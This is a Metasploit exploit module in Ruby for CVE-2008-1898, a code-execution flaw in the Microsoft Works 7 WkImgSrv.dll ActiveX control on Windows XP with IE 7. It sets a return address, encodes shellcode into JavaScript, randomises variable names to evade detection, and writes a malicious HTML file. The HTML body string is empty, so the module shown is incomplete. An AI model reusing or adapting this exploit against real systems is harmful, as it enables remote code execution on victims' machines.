## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Code Execution', 'Description' => %q{ The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker to execute arbitrary code on a system. By passing a negative integer to the WksPictureInterface method, an attacker could execute arbitrary code on the system with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6. This control is not marked safe for scripting, please choose your attack vector carefully. }, 'License' => MSF_LICENSE, 'Author' => [ 'dean ' ], 'References' => [ [ 'CVE','2008-1898' ], [ 'OSVDB', '44458'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2-SP3 IE 7.0', { 'Ret' => 0x0A0A0A0A } ] ], 'DisclosureDate' => 'Nov 28 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return. ret = Rex::Text.to_unescape([target.ret].pack('L')) # Randomize the javascript variable names. vname = rand_text_alpha(rand(10) + 1) var_i = rand_text_alpha(rand(10) + 1) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) content = %Q| | print_status("Creating HTML file ...") file_create(content) end end